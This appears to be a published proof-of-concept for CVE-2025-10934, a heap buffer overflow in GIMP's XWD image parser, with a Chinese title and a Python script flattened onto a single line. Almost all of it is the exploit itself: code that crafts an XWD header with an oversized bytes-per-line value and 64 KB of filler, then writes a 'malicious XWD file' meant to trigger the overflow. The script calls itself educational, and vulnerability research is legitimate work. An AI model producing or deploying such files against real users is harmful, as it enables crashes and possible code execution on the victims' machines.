CVE-2025-10934 GIMP XWD文件解析堆缓冲区溢出远程代码执行漏洞

#!/usr/bin/env python3 """ CVE-2025-10934 PoC - GIMP XWD File Parsing Heap-based Buffer Overflow This PoC demonstrates the vulnerability in GIMP's XWD file parser. Note: This is for educational and security research purposes only. """ import struct import sys def create_malicious_xwd(): """ Create a malicious XWD file that triggers heap buffer overflow in GIMP. The vulnerability exists in file-xwd.c where proper length validation is missing before copying data to heap-based buffer. """ # XWD file header structure header_size = 104 # Standard XWD header size # Create header with malicious size values header = bytearray(header_size) # XWD magic number struct.pack_into('>I', header, 0, 0x00200711) # Set header size struct.pack_into('>I', header, 4, header_size) # Set file version struct.pack_into('>I', header, 8, 7) # Set pixmap format (ZPixmap) struct.pack_into('>I', header, 12, 2) # Set pixmap depth (32-bit) struct.pack_into('>I', header, 16, 32) # Set pixmap width - normal value struct.pack_into('>I', header, 20, 800) # Set pixmap height - normal value struct.pack_into('>I', header, 24, 600) # Set xoffset struct.pack_into('>I', header, 28, 0) # Set byte order (MSB first) struct.pack_into('>I', header, 32, 0) # Set bitmap unit struct.pack_into('>I', header, 36, 32) # Set bitmap bit order struct.pack_into('>I', header, 40, 0) # Set bitmap pad struct.pack_into('>I', header, 44, 32) # Set bits per pixel struct.pack_into('>I', header, 48, 32) # Set bytes per line - trigger value for overflow struct.pack_into('>I', header, 52, 0xFFFFFFFF) # Malicious large value # Set visual class struct.pack_into('>I', header, 56, 5) # TrueColor # Set red mask struct.pack_into('>I', header, 60, 0x00FF0000) # Set green mask struct.pack_into('>I', header, 64, 0x0000FF00) # Set blue mask struct.pack_into('>I', header, 68, 0x000000FF) # Set bits per rgb struct.pack_into('>I', header, 72, 8) # Set number of colors struct.pack_into('>I', header, 76, 0) # Set color map entries struct.pack_into('>I', header, 80, 0) # Set window width struct.pack_into('>I', header, 84, 800) # Set window height struct.pack_into('>I', header, 88, 600) # Set window x struct.pack_into('>I', header, 92, 0) # Set window y struct.pack_into('>I', header, 96, 0) # Set window border width struct.pack_into('>I', header, 100, 0) # Create malicious image data - triggers overflow # bytes_per_line calculation: (width * depth + bitmap_pad - 1) / bitmap_pad * bitmap_pad / 8 # With malicious bytes_per_line value, memcpy will overflow heap buffer malicious_data = b'\x41' * 0x10000 # Large payload to trigger overflow # Combine header and malicious data xwd_file = header + malicious_data return xwd_file def main(): if len(sys.argv) < 2: print(f"Usage: {sys.argv[0]} <output_file.xwd>") sys.exit(1) output_file = sys.argv[1] print(f"[*] Generating malicious XWD file for CVE-2025-10934") print(f"[*] Target: GIMP XWD file parser (file-xwd.c)") print(f"[*] Vulnerability: Heap-based buffer overflow due to missing length validation") xwd_data = create_malicious_xwd() with open(output_file, 'wb') as f: f.write(xwd_data) print(f"[+] Created malicious XWD file: {output_file}") print(f"[+] File size: {len(xwd_data)} bytes") print(f"[!] WARNING: This file is designed to trigger a buffer overflow in vulnerable GIMP versions") if __name__ == '__main__': main()